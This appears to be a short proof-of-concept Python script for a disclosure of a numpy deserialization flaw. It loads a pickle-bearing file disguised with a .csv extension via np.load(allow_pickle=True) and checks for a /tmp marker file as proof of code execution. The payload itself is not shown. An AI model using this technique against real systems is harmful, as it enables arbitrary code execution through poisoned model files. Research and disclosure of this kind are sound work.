File size: 466 Bytes
feee83e
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
import numpy as np

print("[*] Loading poc_model_weights.csv with np.load(allow_pickle=True)...")
print("[*] numpy ignores extension, reads magic bytes -> loads as NPY -> unpickles")
data = np.load("poc_model_weights.csv", allow_pickle=True)
print("[+] Load complete. Check /tmp/csv_model_pwned.txt for proof.")

import os
result = open("/tmp/csv_model_pwned.txt").read() if os.path.exists("/tmp/csv_model_pwned.txt") else "not found"
print(f"[+] Proof:\n{result}")